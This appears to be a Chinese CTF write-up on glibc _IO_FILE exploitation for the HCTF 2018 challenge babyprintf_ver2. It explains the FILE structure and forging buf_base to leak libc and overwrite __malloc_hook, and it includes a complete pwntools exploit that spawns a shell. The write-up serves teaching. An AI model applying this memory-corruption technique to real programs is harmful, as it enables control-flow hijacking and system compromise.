在hctf中遇到了这么一个题,也借这个题专门去补了补自己在_IO_FILE这一块知识点的知识。

libio.h中的结构

struct _IO_FILE {
int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

/*  char* _save_gptr;  char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,表头为_IO_list_all。而在标准的I/O库中,程序运行就会加载3个文件流stdio、stdout、stderr。而前文说的链表结构就是将这是三个文件流链接起来

符号表示
_IO_2_1_stderr_
 _IO_2_1_stdout_
 _IO_2_1_stdin_

其外部存在一个_IO_FILE_plus结构其中包含了_IO_FILEIO_jump_t结构源码如下
struct _IO_FILE_plus { _IO_FILE file; IO_jump_t *vtable; }

IO_jump_t表结构及对应函数
fread->_IO_XSGETN
fwrite->_IO_XSPUTN
fopen->malloc a new file struct->make file vtable->initialization file struct->puts initialzation file in file struct
fclose ->_IO_unlink_it->_IO_file_close_it->_IO_file_finish(_IO_FINISH)

这里的对应函数在常见的FILE利用中会遇到,也就是伪造vtable表这个在ctf-wiki中有很多的介绍这里就不具体说了(下面的方法可以绕过vtable的检查个人觉得很好用,还好理解,当然是在特定题目中)

对源码中buf_base&buf_end的解析

这里会是我们今天介绍的一个重点,这个字段在_IO_FILE的结构中还是比较重要的,因为不论是read或者是printf都会对其有个调用。read会将读入的字符存在这里,printf则在特定时候会打印这个字符,从而我们可以做一个地址的泄漏和一个任意地址的写操作。

简单记录gdb中查看io_file的指令

pwndbg> p  *(struct _IO_FILE_plus *) stdout
$1 = {
  file = {
    _flags = 0xfbad2887, 
    _IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
    _IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
    _IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
    _IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
    _IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
    _IO_write_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
    _IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "", 
    _IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>, 
    _fileno = 0x1, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7dd06e0<_IO_file_jumps>
}

利用gdb再对照源码可以很清晰的查看_IO_FILE_的结构。

例题HCTF-2018-print_ver2

这个题目和2017的那个printf题很对应,可能是同一个师傅出的,这里会对题目进行一个详细的解析,并且主要针对的是改写buf_base的操作。

保护查看

除了canary基本都开了。。

程序分析

main函数查看


可以看见程序的大概流程就是,会给我们一个地址,这个地址是我们之后输入的字符串的地址,接下来进行输入,然后对我们的输入进行一个_printf_chk(利用不了格式化字符串漏洞)接下来动态调试下看下输入的地址有什么奇特的地方。

发现我们的输入竟然就在stdout的IO_FILE表指针的下面,这样我们可能会有一个思路就是覆盖指针然后重写_IO_FILE表进行一个利用,而我们的输入是512个字节足够我们去伪造了,这只是大概思路,具体还是会有些困难。

思路实现
地址的泄漏

这里因为会有一个_printf_chk函数,他会从buf_base这个地址读取然后打印出来,所以我们可以伪造一个_IO_FILE的buf_base指向一个函数的got表从而泄漏地址

地址写

实现地址写也是将我们需要的写的地址放在buf_base这个地址上,这里我们写的是malloc_hook这个指针,因为在prinf调用的时候如果出现错误内部会利用这个函数,因为题目给了libc所以将其写入该地址。

exp

from pwn import *

context.log_level='debug'
e=ELF('./babyprintf_ver2')
#m = e.libc

p=process('./babyprintf_ver2',env={'LD_PRELOAD':'./libc64.so'})
gdb.attach(p)
def get(x):
    return p.recvuntil(x)

def put(x):
    p.send(x)

get('So I change the buffer location to ')

buf=int(get('\n'),16)
base=buf-0x202010

get('Have fun!')

file = p64(0xfbad2887) + p64(base+0x201FB0) #进行填充,偏移值利用我们所得的地址在ida中看见的pie偏移
file+= p64(buf+0xf0) +p64(buf+0xf0)  
file+= p64(buf+0xf0) +p64(buf+0xf8)
file+= p64(buf+0xf0) +p64(base+0x201FB0)
file+= p64(base+0x201FB0+8) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(1) +p64(0xffffffffffffffff)
file+= p64(0) +p64(buf+0x200)
file+= p64(0xffffffffffffffff) +p64(0)
file+= p64(buf+0x210) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0x00000000ffffffff)+p64(0)
file+= p64(0) +p64(0)
put(p64(0xdeadbeef)*2+p64(buf+0x18)+file+'\n')

get('permitted!\n')
libc=u64(get('\x00\x00'))  #利用printf进行地址泄漏

base=libc-0x3E82A0  #计算出libc然后急性利用

malloc_hook=base+e.symbols['__malloc_hook'] 


sleep(0.2)
#由于程序是一个循环所以可以重复利用
file = p64(0xfbad2887) + p64(malloc_hook)
file+= p64(malloc_hook) +p64(malloc_hook) #进行一个地址的改写
file+= p64(malloc_hook) +p64(malloc_hook)
file+= p64(malloc_hook+8) +p64(base+0x201FB0)
file+= p64(base+0x201FB0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0) +p64(0)
file+= p64(1) +p64(0xffffffffffffffff)
file+= p64(0) +p64(buf+0x220)
file+= p64(0xffffffffffffffff) +p64(0)
file+= p64(buf+0x230) +p64(0)
file+= p64(0) +p64(0)
file+= p64(0x00000000ffffffff)+p64(0)
file+= p64(0) +p64(0)


put(p64(base+0x4f322)*2+p64(buf+0x18)+file+'\n')

put('%s%s%s%s\n')

p.interactive()

总结

个人觉得_IO_FILE在新版的Glibc下应该这个利用是最主流的了,因为在该viable表的时候会检查表的地址的正确性,所以基本只能利用这个方法进行一个利用。写到这里也算是对_IO_FILE有个比较好的理解了。

源链接

Hacking more

...